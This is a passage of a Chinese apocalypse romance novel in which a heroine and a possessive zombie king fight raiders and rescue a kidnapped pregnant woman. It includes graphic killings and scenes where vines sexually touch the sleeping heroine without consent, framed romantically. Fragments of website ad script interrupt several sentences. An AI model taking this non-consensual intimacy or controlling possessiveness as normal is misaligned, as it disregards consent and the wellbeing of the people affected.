颜枝找了个好时机,将晶核吸收完。 她明显感觉到体内异能强化了些许。 没等她欣喜,这个丧尸像是喜欢上投喂她晶核的感觉了。 时不时地就给她拋过来一块晶核。 眼里分明仍是沉沉的灰色,但她莫名从里面看到了几分求夸赞。 颜枝打开包,数了数。 一二三四五六…… 竟足足有十块。 其中一级晶核有五个,二级晶核有三个,如今十分珍贵的三级晶核竟也有两个! 颜枝抿唇,抱住丧尸王的头,轻轻蹭了蹭。 她轻轻亲了一下他的脸。 声音不大,但是颜枝还是脸红了。 这个举动她是下意识的行为,没有过脑子,反应过来就已经做了。 丧尸王脸上没有表情,但脑子一下子炸了。 这个人类亲他了。 她好大胆。 但是…… 想到人类香香的味道,柔软的唇瓣,脸上的触感…… 丧尸王搂住人类的腰。 “软……还想……要……” 颜枝本就后悔自己的冲动之举了,哪里肯再亲。 哪怕丧尸王又给了她好几块晶核,她还是不肯低头。 丧尸王被拒绝,心里又不高兴了,他冷着脸抱着怀里的人,给她找食物。 人类。 真麻烦。 藤蔓蠢蠢欲动。 “她亲我了,好软好软。” “明明是亲我,我最喜欢她了。” “快点再去亲一下!” 丧尸王冷着脸,将藤蔓压了下去, “一群……蠢货……她……是……我的。” 颜枝视力很好,一眼就看到不远处的超市,她轻轻推了下丧尸王。 “去那里看看。” 他俩刚进去,就发现超市已被人搬空了,有一队人守在里面,足足二十几人,包里满满当当的,显然是被他们洗劫一空。 颜枝叹了口气:“算了,看来没有了,我们去其他地方吧。” 话落,便看见领头的人站了起来。 他阴狠着脸:“慢着,谁让你们走的,懂不懂规矩。” 颜枝察觉到身旁的男人正蠢蠢欲动,轻轻拍拍他的胳膊,已视安抚。 “你且说说,何为规矩?” 队里其他人嗤笑道:“果真是土包子,这可是狼老大,凡是遇见了,都要交保护费的!” “今日算我们狼老大发善心,把物资交出来,就赶紧滚吧。” 5. 触手丧尸王 颜枝抿唇,目光不经意间略过这群人,一共二十多个人,至少有十来个都是异能者,且不清楚对方的底细,哪怕自己身旁是个丧尸王,也没有十足的把握能安全脱身。 她的眉间浮上几分愁绪。 她翻了翻自己的包。 一瓶矿泉水,两根火腿肠,这便是她所有的食物了。 颜枝将东西掏出来,一旁的小弟接了过来,不屑地勾唇。 他讽刺道:“你这小娘子莫不是糊弄我们吧,你们两个人,就这么一点东西!” 他眼神凶狠。 颜枝看向领头的人,果不其然,他的脸上也带了几分不耐烦。 他看向两人,盯了几秒,眼里晦暗了几分。 他漫不经心地踱步过来,凑近了些许,满意地咂吧了两下嘴。 男人上下打量着颜枝,心中色心升起。 “我狼老大也不是什么不讲理的人,你们说对吧?” 他回头看向队伍中的小弟们,小弟们灵光乍现,举起手,起哄哄笑道:“是!” 男人满意地点点头。 又看向颜枝:“你说说,这都到了末世了,你跟了个这么个窝囊废,怕都吃不饱吧。” 他鄙夷地看向颜枝旁边的男人。 看着身子健壮,竟没想到是个废物。 看到男人灰色的瞳孔,他更是嗤笑。 “真是让人笑掉大牙,这都什么时候了,一个大男人,还戴美瞳,真是个废物!” 身后的小弟大笑着。 纷纷应和。 颜枝心里一咯噔,悄悄偏头看了下身旁的丧尸王。 只见他脸上没有任何表情,似乎听不懂男人的话语,颜枝松了口气,这男人竟然敢在虎口上拔牙,恐怕他是天底下第一个敢说丧尸王是窝囊废的人了吧。 颜枝正了正神色,态度谦和。 “东西已经给你们了,现在可以放我们离开了吧。” 狼老大转了转眼睛,笑眯眯道:“小娘子想离开自然是可以,但是我们怎么知道你给的是不是所有物资。” “毕竟,我们要的是——所有物资。” 他故意加重了语气,虽是笑眯眯的,但眼里满是威胁之意。 狼老大看向颜枝的包,后面的小弟立马知趣地要过来抢。 只见那男人刚把手伸向包,还没碰到,就被一枝藤蔓缠住,那男人也是个一级异能者了,他不屑地使出异能,风刃刮过藤蔓,原以为会将它割断,却没想到那藤蔓竟丝毫未有影响,微微使力,缠绕得越发收紧,那男子脸上满是痛苦,惨叫一声,那只手竟硬生生被缠断。 男人跌倒在地,血不断地滚淌在地上,很是恐怖,他不断地痛呼着,后怕地退到队伍里面。 狼老大冷着脸,眼里闪过阴狠。 他勾勾手指头。 身后的小弟立马一齐冲了上来,果然,颜枝猜得没错,这个队伍里竟有十三个异能者,虽说大多都是一级异能者,二级只是少数,但这个阵容的力量也不容小觑。 颜枝经过晶核的升级,已达到二级,她施展出异能,不再是以前那样微弱的水流,而是水柱,水本温顺,却在此时也成了具有杀伤力的武器。 藤蔓与水柱合力,竟将上前来的异能者纷纷打趴在地上。 躲在后面的普通人眼见异能者都趴下了,更不敢上前了,纷纷跪在后面求饶。 狼老大唾骂了一声废物。 “都是废物!” 他冷冷地看着颜枝和她身旁的男人。 “倒是小瞧你们了,不过是一个区区二级的水系异能者和一个植物系异能者,今日就让我狼老大来教训一下你们,让你们知道什么叫做规矩。” 他大吼一声,手中的火光凝聚得越来越大。 颜枝面色凝重。 怪不得这个队伍这般嚣张,竟是有一个三级火系异能者坐镇,她悄悄瞥向身旁的丧尸王。 见男人面色镇静,心里也微微放松。 丧尸王杀三级丧尸跟杀萝卜一样,三级异能者应该也不会对他造成威胁吧。 转眼间,那火光竟有一个人头那般大了,狼老大轻蔑地笑着,将那火光向两人推去。 火光速度非常快,颜枝很快便感觉到了那灼热的感觉,不夸张,她如果真被打中,不出三秒,就会化为灰烬,尸骨无存。 身旁的丧尸王轻轻一挥手,便见那道火光迅速消散。 狼老大睁大眼睛,不住地说道:“这怎么回事!不可能!不可能!” 丧尸王抬眼看他,灰色的瞳孔冷淡而轻蔑。 他以非人的速度移动到男人面前,掐住他的脖子,将一个七十多公斤的男人举起,男人面色青紫,眼里满是恐惧与祈求。 他用力拍打着丧尸王的胳膊,对方却像是丧失痛觉一样,面不改色。 “我……讨厌……你……看她的……眼神……” 所以。 去死吧。 丧尸王微微用力,男人的脖子被拧断,头一歪,便没了呼吸。 他嫌恶地将人丢在地上。 后面的小弟眼见实力强硬的老大竟在那男人面前过不了一招,纷纷惊恐地磕头求饶。 他们抖着身子,不敢抬头。 其间一个胆子稍大的,微微抬头,便看见那个强大的男人走到那个漂亮女人面前,微微低头,神色颇为不耐。 他伸出手。 “脏……” 便见那漂亮女人熟练地施出一道水柱,将男人的手洗的干干净净。 又耐心地从包里取出纸巾,将对方的手指擦干。 男人不耐的神情立马柔和了。 他将人抱在怀中,蹭了蹭她的脸。 正准备抬脚走时,男人忽然想到什么,回头说道。 “把……物资……交出来。” 正在磕头的小弟们立马将自己的物资全找出来,在地上堆成了小山。 讨好的神情十足。 丧尸王将颜枝放下。 颜枝立马开心地跑过去,一个一个地将东西塞进包里,她的眼睛亮晶晶的,满足极了。 东西收好了,丧尸王将人又抱回了怀里。 待人走远后,小弟们这才意识到。 明明他们是打劫的,怎么下一秒就成被打劫的了。 * 东西太多了,颜枝的包都放不下了,她将包塞满后,又往身上四个口袋里塞了几个面包和饼干。 都装满后,她又找丧尸王身上的口袋。 男人随意她折腾,也不说什么。 只是眸色逐渐迷离。 好香。 他低着头,靠近女人的锁骨处,微微磨牙,颜枝的动作一顿,他该不会又想吃她了吧。 幸好他只是靠着,没有其他动作。 丧尸王找寻着她身上最柔软的地方。 红红的。 嫩嫩的。 他还记得那个感觉。 他闷声道:“亲。” 颜枝脸一红,罢了罢了,只是亲一口,又不是吃一口,更何况这个丧尸长的还蛮不错的。 她主动 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抬头亲了一口男人。 丧尸王眯起眼,不知足道:“我……也要……亲。” 话刚落,男人便垂头在颜枝脸上落下一吻。 只是他没经验,也不懂人类间的亲昵,粗鲁的动作,导致牙齿直接磕在了她的脸上。 颜枝捂住脸,疼的嘶了一声。 她怨怨地看向那个始作俑者。 便见那只丧尸王喜滋滋的,拂过她的手,牙印映入眼中。 他心里有种诡异的满足感。 这个人类仿佛被他刻下了属于自己的烙印。 丧尸王将人搂的更紧了些。 眸色深深。 他的。 颜枝觉得这个丧尸的占有欲越发强烈了,她之前虽然总是被他抱在怀中,但是偶尔也能被放下来自己走路的。 回到小屋的几天里,她就像丧失了自己行走的权利一样,白日里被丧尸王抱在怀中走,夜晚睡觉也要被迫缩在他怀中睡。 虽然这样很舒服,但是颜枝总觉得自己要被养废了,最重要的一点是,即使他外表再像人类,也改变不了他是丧尸的本质。 他没有心脏,没有体温,整个人冷的像一块冰,她每天贴着他,短时间还能忍受,再这样下去,她就要被冻成冰块了。 因此,颜枝很郑重地给丧尸王说道。 “我不想再一直被你抱在怀里了,我觉得我应该有自由的权利。” 男人的神情一下子便冷了。 人类不想让他抱了。 为什么。 他也就这样问了。 颜枝想了想,如实说道:“你身上太冷了,我一直贴着受不住的。” 丧尸王闻言,神情缓和。 他看着颜枝,忽然开口道:“阿晟。” 颜枝一愣,疑惑地看向他。 忽然,灵光一闪。 她犹豫地问道:“这是你的名字吗?” 阿晟没回应,他心想道。 人类嫌他冷,便不让他抱。 碧落温泉山庄有一块能避寒的珠子,只要他能得到这颗珠子,人类便不会嫌弃他了,他就能日日夜夜拥着他的人类了。 阿晟灰色的眸子落在颜枝身上。 “去……泡温……泉……” 颜枝眼睛一亮。 她惊喜极了,这已是末世了,竟还有温泉吗? 阿晟能够感觉到人类的兴奋,她已迫不及待地去收拾行李了。 丧尸王愉悦地心想,人类也希望能早点儿拿到还梦珠,看来她也很期盼能与他紧密相伴。 他就知晓,他的人类也是渴望他的。 * 由于颜枝抗拒的态度坚决,今夜她终于能美滋滋地一个人占据屋子与床了。 颜枝在床上滚了一圈,想到明日的温泉,心里愈发愉悦。 陷入梦境后,心里还想着温泉。 她嘴角浸着笑意。 夜深,一枝藤蔓从窗口跃进屋子。 它兴奋极了,晃着身子。 攀上床沿,缠住女子的四肢,缠绵悱恻,比起它的主人,它更为胆大,也更加懂得人类间的欢愉。 它挑逗着女子的手腕,引得她哼唧了一声,唇瓣顺势打开,它趁机碾压在上面,尝到女子的芬芳,又顺势滑了进去,与那小舌缠绕,过了好久,它才恋恋不舍地退了出来,便见它浑身都是可疑的水渍。 藤蔓激动地抖动着身子,一眨眼便不见了踪影。 另一个房间的丧尸王忽然睁开眼,他摸了摸自己的唇瓣,眼里闪过困惑。 6. 触手丧尸王 翌日。 颜枝坐在越野车的副驾驶上还有些懵逼。 她转过头看动作娴熟的丧尸王开着车,举手投足之间都是成熟男人的魅力。 按理来说没什么问题。 但是问题是这是个丧尸啊! 看一只丧尸开车,颜枝总觉得是自己眼花了。 她咽了咽口水。 “这车是哪里来的?” 阿晟面不改色:“看到……那群人坐着……这个巨型怪物,他们就送……给我了……” 颜枝抽了抽嘴角,什么送,怕是抢吧。 等等。 她突然看向丧尸王:“你怎么会开车的?” 阿晟灰色的眸子转了转,眼里闪过迷茫。 显然他也说不清缘由。 颜枝猜想阿晟是由人类转化为丧尸的,等级过高,不但有了灵智,而且随着能力的提升,可能会恢复一些生前的记忆。 尽管他现在认不得车,将它看作会跑的巨型怪物,但身体的潜意识动作使他学会了开车。 颜枝因为这个猜测,心里隐隐发热。 这说明什么。 说明这个丧尸王极有可能恢复人性,她就不用担心自己随时会被吃掉了! 颜枝愉悦地哼起小曲,身旁的丧尸王忽然转头看了她一眼。 直勾勾的目光落在女子鲜红的唇瓣上。 又很快回头,专心地开着车,仿佛刚才的行为是幻觉一般。 路途遥远,颜枝便昏睡了一路。 待醒来后,便看见一块石碑屹立在路边。 赫然的几个大字映入眼帘——碧落温泉山庄。 这便到了! 只是车越开越近,前方的情景便清晰了。 只见一辆白色的小车停在路口,几个男人挡在路口,一副吊儿郎当的模样。 他们懒散道:“想进碧落温泉山庄,就得留下过路费。” 车门开了,一对年轻夫妻下了车。 男子清瘦温润,女子美丽优雅。 那女子肚子高高隆起,显然已有身孕,且月份不小。 男子谦逊地抱拳笑道:“我妻子怀孕后,身子一直不舒服,便想着来碧落温泉山庄养一下,几位兄弟的意思,我自然也是懂的。” 说完,他从车里拿出一箱腊肉。 几个男人眼睛一下子亮了。 如今这末日,肉可比黄金贵。 他们对视了一眼,领头的人上前爽朗笑道:“兄弟也是有心。” 货物刚到手,那男人却眼神一狠,一个火星便朝青年抛去。 青年不受防,胳膊被烧焦了一块,他捂住胳膊,疼的额头直冒汗。 女子瞪大眼睛,心疼地拉住青年。 瞪向他们:“你们这些人怎么回事!我们都给你们食物了,怎么还要偷袭,打伤我丈夫!” 领头男人哈哈一笑,忽然上前拉女人的胳膊。 “先前是这样,但我现在又反悔了,我看小娘子长的这么漂亮,不如去给我家兄弟当媳妇可好?” 青年上前护在女子面前,他胳膊上的血还在流淌着,好不瘆人,却依然坚定道:“想动我妻子,就从我的尸体上踏过去。” 领头男人哼了一声,轻蔑道:“正有此意!” 话落,他拿起匕首,狠狠地剜入青年的胸膛,正中心脏。 青年瞪大眼睛,不甘地倒下,鲜血从嘴角溢出。 女子无助地跪下,双手颤抖地摸向他的脸,泣泣血泪,凄惨悲鸣,闻者无不心悸。 可那始作俑者笑成一团。 领头男人招呼了下身后的小弟。 小弟立马上前拽女子,柔弱的女人根本抵不过他的力气,只能绝望地被带走。 只听见她悲痛又愤恨的声音。 “你们一定会遭到报应的!” 领头男人无所谓地笑笑。 其他人又跑到那白色轿车上搬运着物资。 很快,他们就坐着自己的车进了山庄。 颜枝颤着声音,眼里浮现恐惧。 “一群恶魔。” 那一对夫妻又有什么错呢。 “禽兽!猪狗不如的东西!” 颜枝红了眼,她性情温柔,基本没骂过人,但那群衣冠禽兽,披着人皮,却干着丧尽天良的事情。 而且,看他们走的方向,是往山庄里开,竟是山庄里的人。 颜枝偏头看向阿晟。 男人面色冷淡,对方才的事情没有丝毫波澜。 感觉到身旁人类久到失态的目光,阿晟才慢半拍地看向她。 “怎……么了?” 女子摇摇头,她看向那块石碑。 “我们快进去吧。” 山庄里的景象,险些让颜枝忘记了这还在末世。 称这里为世外桃源也丝毫不夸张。 外面的世界丧尸成群,人类恐慌; 这里的人们衣着整齐,其乐融融。 外面的人们生存尚成问题,吃食更是将就; 这里竟然还有耕地,种植着农作物。 颜枝跳下了车,阿晟把越野车停好,两人走过来时,却发现村庄里的人都看向了他们。 眼神中隐隐带着兴奋。 颜枝心中莫名,将目光转移开来。 “两位客人是想要在此借宿吗?” 一位蓝衣老年男人匆匆赶来,亲切问候着。 他看向阿晟,显然是认为他在二人之中具有掌握权。 却见男人紧紧贴着那漂亮女人,冷冷地看向远处,见人问话也不搭理。 老人心中尴尬,又将目光投向了颜枝。 颜枝点点头。 “你是?” 老人笑眯眯应道:“我是碧落温泉山庄的管家,叫我老宏就好。” 颜枝瞥向身旁不作声的男人,意识到看来社交还是得靠自己了。 “我们夫妻二人想在此借住一周,这段时间便劳烦宏管家了。” 她从包中掏出一块二级晶核。 到了末世这个阶段,纸币早已没有了用处,现如今都是用晶核作为流通货币,进行交换物品的。 原以为对方会欣然接受,却见老人难为情道:“这……我们这里只收食物。” 他歉意的目光看向颜枝:“你看我们这里,到处都是普通人,晶核对我们来说没有多大用处的,还请见谅。” 颜枝点点头,这才恍然意识到是自己考虑不周了。 宏管家带着他们参观山庄的景色。 越向深处走,颜枝越发惊叹。 “如今到了这末世,竟有这样一块为普通人提供的安稳地方,实在了不得!” 宏管家闻言,骄傲地说道。 “这可多亏了我们老板,他这人可真是菩萨心肠,一般的异能者都往最大的城市,最好的基地走,但我们老 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 板却毅然决然地留在了这穷乡僻壤,不惜拿出所有的家产,建造了这个碧落温泉山庄,为普通人开辟了一个世外桃源。” 他说着说着,便有些老泪纵横了。 “我们可是真的感激他这个大好人啊!” 颜枝心中敬佩升起。 果真是一个伟大的人物。 宏管家忽然犹豫不决,欲言又止。 颜枝让他放心说。 便见他凑到她耳边,悄悄问道: “你丈夫是不是……语言方面有点障碍?” 颜枝哭笑不得。 忍不住看了眼阿晟。 竟是以为这位丧尸王是个聋哑人。 宏管家将他们带到一个房间。 房间干净宽敞,屋内设施齐全。 他给颜枝介绍着:“这间屋子便是颜小姐和您丈夫的住处了,吃食我们会在固定时间送进来的,您和您丈夫可以四处游玩,温泉在山脚下,可以找村民带你们前去。” 颜枝点点头,他便退下了。 柔软的大床,颜枝刚扑上去,便惬意地闭上了眼睛。 太舒服了。 忽然想到什么,她又起身,拉着那位方才一直沉默的丧尸王坐下。 对方脸上没有表情,但是颜枝莫名看出了几分郁闷。 “你今日怎么一言不发?不高兴吗?” 男人抬眼看着她,抿唇道:“没有。” 嘴上说着没有,眼里却满是一个意味——我很生气,我不高兴,我要你哄。 颜枝噢了一声,假意理解地说道:“这样啊,那看来是我多想了。” 阿晟冷着脸,闷闷道:“你方才……跟……那个人……说了……好久……” 都不理他,一句话也不跟他说,却跟外人说得不停。 颜枝哭笑不得。 还不是他一直不讲话,便只能她一直说话了。 她又重新躺在了床上。 见阿晟不动,她便伸手将他也拉了下来。 两人平躺在床上,阿晟忽然心头愉悦了些。 他又凑近了颜枝。 “方才……那个人也凑……你……这么近……” 真的很讨厌。 回应他的是对方捂住他嘴的手。 阿晟不说话了。 他的全身精力都放在了那只手上。 又是那股吸引得他神魂颠倒的香味。 颜枝终于听不见对方的喋喋不休了。 满足地慨叹道:“那个老板果真是个好人。” 越想她越觉得敬佩。 手忽然被咬了一个牙印,不深,但警告意味十足。 丧尸王冷着脸。 人类又在提别人了。 好烦。 颜枝看着手中的牙印,忽然有些感想了。 曾几时起,她恐慌于被这个丧尸吃掉,现在虽然仍是担忧,但心里莫名有一道声音,觉得无论如何这个丧尸都不会真的伤害她。 阿晟直勾勾地看着她,伸出手。 “洗。” 颜枝忽然失笑,感觉自己似乎养了一个小孩子。 只是这个孩子的杀伤力极高。 她手指熟练地操控起水柱,喷洒在男人的脸上,手上。 对方将她搂在怀里。 片刻后,颜枝拍了拍他的胳膊。 “勒。” 丧尸王又放松了力道。 7. 触手丧尸王 太阳当头,几个村民在田地里劳作着,榔头插进土地里发出“砰砰”的声音。 颜枝拉着阿晟转悠,她拉住一个大爷,问这是在种什么。 大爷擦擦头上的汗,指着田里说道:“这是西红柿,你看,现在已经长出苗了,可茂盛了。” 颜枝想起西红柿酸甜的口感,一口咬下去便有水往出溅,她悄悄咽了一下口水。 看到她这副馋样,大爷又爽朗道:“这可不止呢,我们这里还养鸡呢。” 颜枝向他摆了摆手,连忙带着阿晟走了,再听下去,她口水就要流出来了。 丧尸王一脸疑惑。 “我们……要去……干嘛啊……” 一大早颜枝便拉着他出来了,这可真不符合她一向赖床的习惯。 颜枝嘘了一声。 凑到阿晟耳边:“你忘了昨天那个被强行拐走的孕妇了吗?” 见男人满脸的茫然,她叹了口气,也不指望一个丧尸记住这些。 亲眼目睹那一幕,她完全没有办法忘记这件事。 她要找到那个孕妇,将她救出来! 虽然她实力弱。 颜枝悄悄看向身旁,但是架不住自己有个丧尸王大腿啊。 山庄里的村民很热情,颜枝逛了半天就跟他们打好关系了。 只是逛了半天,也没找到昨天那几个贼人。 一个老阿婆看见她,走了过来,热情地叫她,颜枝应了一声。 在认识的村民中,她与这阿婆关系最为要好,末世到来,老阿婆先是失了儿子,又丢了女儿,悲痛之际,险些要寻死去,好在被这山庄庇护,勉强保全一条性命。 她向颜枝手里塞了一个西红柿。 “阿幺,我老婆子自己种的,尝一个。” 颜枝甜甜地笑了笑。 将西红柿递给了身旁的男人。 老阿婆的眼神在两人之间流转,然后笑了笑。 颜枝将人拉着,不经意地问道:“阿婆,这山庄里有没有新娶媳妇的啊?” 老阿婆一愣,低着头问道:“你问这个做什么?” 女子看了看身旁的男人,羞涩道:“我与阿晟是未婚夫妻,本打算订婚,不承想末世来了,这件事便不了了之,心里也一直有个遗憾。倘若能看到别人成婚,那也能沾沾喜气。” 老阿婆心中的困惑放下,这才笑着道:“最近啊,确实有一件喜事,老杨家的二儿子要娶媳妇了,不过我们这里也不办酒席的,一切从简。” 她又自言自语道:“这消息别人可都不知道呢,还是老杨向我炫耀,我才知晓的。” 颜枝心中一惊。 她今早同人交谈时,对方提过这位老杨家的二儿子,那人因末世到来,发了一次烧,原以为是觉醒异能,结果醒来便成傻子了。 这贼人竟这般可恶,竟将抢到的可怜女子给一个傻子做媳妇。 她心一沉。 但面上却笑意盈盈。 颜枝拉过阿晟的手,往老杨家走去,她悄悄道:“阿晟,一会儿就麻烦你了。” 丧尸王迷迷糊糊地被她拉着。 满脑子都是那句阿晟。 人类第一次唤他的名字。 他心中激动,那藤蔓又蠢蠢欲动了,丧尸王又默默压了下去。 “没……出息。” 藤蔓刚冒出个尖尖,便被压下去,但还是让颜枝看到了。 她忽然问道:“你有植物异能吗?” 想到一直以来纠缠她的藤蔓。 她心一抖。 虽然那藤蔓没有真正伤害过她,但那行为实在是……浪荡的很…… 颜枝忽然想起那次与阿晟一起对付那队抢劫物资的人。 他似乎就放出了藤蔓。 颜枝懊恼地敲了敲头,她竟然把这件事给忘了。 丧尸王面不改色,点了点头, 颜枝忽然瞪向他:“你是能操控那些藤蔓的对吧。” “可以,但是它们……如果过于……激动,会有一些……不受控……制的……行为。” 颜枝抿唇,偏头不理他。 便见那丧尸王忽然看向她。 “藤蔓……怎么对……你了?” 见对方不理他,他便自顾自道。 “缠绕你……的四肢……” “嗅……你身上……的味道……” “伸到……你的口腔里……吸尽……你的涎水……” 颜枝恼怒道:“你……” 但见丧尸王一副一本正经的模样,她忽然说不出口了。 “以后不许了!” 丧尸王摇摇头,有些懊恼:“我管不住……它们……” 没等颜枝回口,老杨家便到了。 一个铁门映入眼帘。 颜枝敲了敲门。 下一秒,一个老人家便开门了。 他苍老极了。 颤巍巍地问道:“你是谁?来我家做什么?” 颜枝温柔道:“听说您儿子娶媳妇了,我们想来沾沾喜气。” 却没承想对方脸色一变,就要关门。 “哪有媳妇!快走!” 颜枝嘶了一声,连忙把手放开,差点就要被门夹了。 门要关了,却被一只大手一把推开。 老杨被这推力推倒在地上。 他喊叫了一声。 阿晟带着颜枝进了门。 院中可谓麻雀虽小,五脏俱全。 门看着破旧,院子里却什么都有。 种着菜,养着鸡,设施比起其他村民的院子一看就好多了。 这番动静惹来了院中的其他人。 一个男人狠着脸快步走来。 正是昨日那个领队的贼人。 他双手凝聚出火团,怒骂道:“哪里来的毛贼竟敢闯进老子家,看老子不弄死你!” 颜枝聚集出水柱,二者相抵,水柱被那火团隐隐包裹,下一秒,迅速向颜枝袭来。 丧尸王将颜枝拉开,避开了那火团。 男人冷哼道:“正好,让你们为我弟弟娶妻见见红光!” 他正欲出手,却被藤蔓缠住脖子,男人眼珠突出,几欲窒息。 “且慢!” 一个中年男子急匆匆地赶来。 “我是碧落温泉山庄的老板——耿俞昌,有什么事好好说,好好说。” 他拱手道。 颜枝连忙拍了拍阿晟的胳膊,他将那人放下。 男人跌倒在地,大口大口地呼气。 老杨跑过去给他顺气,泪眼婆娑。 “我儿子……老板,你可要为我们主持公道啊!” 耿俞昌招招手,示意他开口。 “这两个毛贼敲我的门,我不给开就强行将我打趴在地上,我儿子来给我出气,他们竟然要置他于死地!哎呦!我老杨家这是造什么孽啊!” 老杨一边哭,一边拍打着地面。 后面赶来的村人纷纷开腔:“这真是禽兽行为啊。” “将这两个外来者赶出去!” 耿俞昌探究的目光落在颜枝和阿晟身上。 “老板您是一个大善人,我敬佩于您,您可知我们二人为何要打他?” 颜枝说道。 耿俞昌眼底动容,追问道:“为何? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 颜枝指向老杨:“我们二人来这里是为了见一下新娘子,沾沾喜气,但这位老人家一听却脸色大变,直接将门关住。” 老杨一时心生窘迫。 她又指向那正大口喘气的男人。 “而这位,我们昨日亲眼见到他强抢一名孕妇,杀掉她的丈夫,又抢走他们的物资,方才更是要出手杀掉我们二人。” “现在看,谁更是禽兽!” 男人抬眼看她,轻蔑道:“证据呢?” 耿俞昌皱着眉头:“这番话当真听的我是毛骨悚然,竟有这样的事发生,但是杨兄弟的话也有道理,凡事都要讲究证据。” 颜枝抿唇道:“搜一下,不就知道了。” 耿俞昌唤了几个村民,叫他们去搜。 男人坐在地上,神色莫名。 村民刚进来,便听见颜枝一声制止。 “耿老板,村民们与老杨家是相处多年,而我们只是昨日刚到的外来者,谁也无法清楚会不会有所包庇呢。既然讲究证据,就公平公正地来搜查。” 耿俞昌点头,问道:“你想要如何呢?” “我们一同搜查。” 一群人浩浩荡荡地翻了一遍。 一无所获。 忽然,有个男人大喊一声。 人们纷纷跟了上去。 便见那男人怒道:“好你个老杨,竟然私藏着那日一同打猎所得的鹿肉!大家都分了一块,你竟然还私藏一块!” 耿俞昌叹了口气,看向颜枝:“事实如你所见,还请小姐向老杨家道歉吧。” 颜枝看向他,开口道:“不如翻一翻他家的地窖。” 耿俞昌大惊,连忙道:“小姐说笑了,我们这里从未建过地窖。” 却见颜枝不应答,只自顾自地往前,她身旁的男人始终跟在她后面,提防着有心人的攻击。 只见她走到一口水井处。 目光澄澈。 “我猜地窖便藏在这下面,还请耿老板同我们一起下去见证。” 阿晟将女子抱在怀里,轻轻踮脚,便跳了下去。 村民们大惊。 “这水井有七八米深呢,就这样跳下去了!” 耿俞昌叹了口气,正准备下去,忽然被一个村民拉住。 “耿老板,你真的要跟着下去吗?万一有诈呢。” 耿俞昌认真道:“方才那男子的实力,大家都有目共睹,想杀我们亦是易如反掌,所以我相信他们。” 话落,他便攀上绳子,滑了下去。 几个村民面面相觑,咬牙跟了上去。 水井下漆黑一片,他们骂骂咧咧的。 忽然见那对男女停了下来。 那男人将几块砖头掀开。 下面赫然是一个洞口。 “我去,真的有地窖,这老杨家藏的够深的。” 待上来后,村民们看向那衣着破烂,肚子高高隆起的女人,以及几箱腊肉,皆闭了嘴。 耿俞昌歉意道:“竟真有地窖,还是小姐你聪慧。” 颜枝将衣服盖在女人身上,女人浑浑噩噩,嘴里不住地喊着:“不得好死……” 显然已经神志不清了。 耿俞昌让几位村民带走了老杨和杨家老大。 “既然是我们山庄中的人干出这种事,就让我们好好严刑管教!” 他又看向颜枝。 “那杨家老二已是个痴傻的了,看在我耿俞昌的面子上,就请小姐别再追究了。” 他叹了口气,眼中浮现怜悯。 颜枝点点头。 对于耿俞昌的善良宽容更是多了一层敬佩。 8. 触手丧尸王 安顿好怀孕的女人,颜枝便兴冲冲地拉着阿晟去泡温泉。 刚出门,便有个少年凑了过来。 “客人们要去哪啊?我可以带路的。” 颜枝没多想,点点头。 “我们要去温泉那里。” 反正他们也认不得路,正好找个人带路。 便见那少年忽然搓了搓手,看向阿晟,被他冷淡的气势吓到,又看向颜枝,有些支支吾吾:“姐姐……” 颜枝了然,从包里拿出一袋泡面,递给他。 却见他面露难色。 “姐姐有晶核吗?” 颜枝有些惊愕,这村子上上下下都是拿食物交换,第一次有人问她要晶核。 况且,看这少年也不是个异能者。 他挠挠头,不好意思地笑道:“我周末会出去采购的,外面都是用晶核交换物品的。” 山庄中什么都有,哪里需要采购,况且山庄外面危机四伏,颜枝只当他是小孩子心性,并未在意,只从包里取出一块一级晶核,递给了他。 少年心中一喜。 眼睛时不时看向颜枝的包。 他惊羡道:“姐姐,你应该有很多晶核吧。” 颜枝笑了笑。 忽然感觉到身旁的男人拉了拉她的胳膊。 转头一看,丧尸王冷着脸,又不高兴了。 颜枝只好催促那少年赶紧带路。 这路绕的七扭八歪的,颜枝感觉自己都快走晕了,庆幸找了当地村民带路。 好不容易,绕过一个弯,终于到了。 颜枝踮脚看了一下。 前面热气腾腾,水流清澈,颇有几分仙气。 少年适时介绍着:“如今这末世里,可能就只有我们这一家有温泉了,慕名而来的人可不少呢。” 颜枝忽然疑惑问道:“很多人?那为何这几日只看到我们二人。” 少年支支吾吾,低着头道:“……这不是末世嘛,近来少了点儿。” 颜枝了然,将包放在了一旁。 拉着阿晟的手,给他指道:“左边是女浴,右边是男浴。” 阿晟抬眼,一脸莫名。 “我……知道啊……” 颜枝:“……” 这几日将他当孩子养,现在竟也转不过弯了。 她悄悄捂脸。 趁两人正说话之际。 少年抿唇,抬眼看了一下两人。 拿起包,转身就跑。 他没有异能,但跑的快。 颜枝惊愕,立马想跑上去追。便见身旁的丧尸王一脸不耐烦。 藤蔓一溜烟便追了上去,少年心生恐惧,连忙加快脚步,但终究跑不过藤蔓的速度,藤蔓将少年的腰身捆住,收了回来。 颜枝心生复杂。 眼前的男孩只有十几岁,看起来就跟杨康一样大,想到杨康,她心下一沉,不知他如今怎么样了。 丧尸王嘴唇抿成直线,伸手就要将少年绞死。 颜枝连忙拍了拍他的手,制止他。 只是个孩子罢了。 “你为何要这样?” 少年哼了一声:“我们山庄的人都这样,东西就是要靠抢的!现在是我技不如人,要杀要剐随你便!” 颜枝心一惊,面上不动声色。 “你们山庄的人都做过什么?” 少年开口道:“我们山庄……” 忽然意识到什么,他连忙停口。 他瞪向颜枝:“你这个建人就是想套我的话,没门!” 丧尸王面色一冷:“该……死……” 他动了动手,便见那藤蔓微微收紧,少年的脸色发紫。 颜枝愣了愣,拉过阿晟。 藤蔓被迫松开。 丧尸王皱眉看向她。 “他……骂你……” 颜枝抿唇,上前。 “啪。” 少年的左脸浮现一个明显的掌印。 他惊愕地看向颜枝。 “这一巴掌是为你爹娘打的,小小年纪便学会做偷鸡摸狗的事情,该打。” “啪。” 又一巴掌,这次是在右脸。 “这一巴掌是为我打的,先是被你偷去包,又是被你辱骂,该打。” 颜枝站好。 “念你为我们带路的份,还不赶紧走。” 少年捂着脸,恨恨地瞪了她一眼,连忙跑了。 颜枝叹了口气。 便见那丧尸王一脸不赞同的样子。 “你……太优柔……寡断了……” 就应当斩草除根。 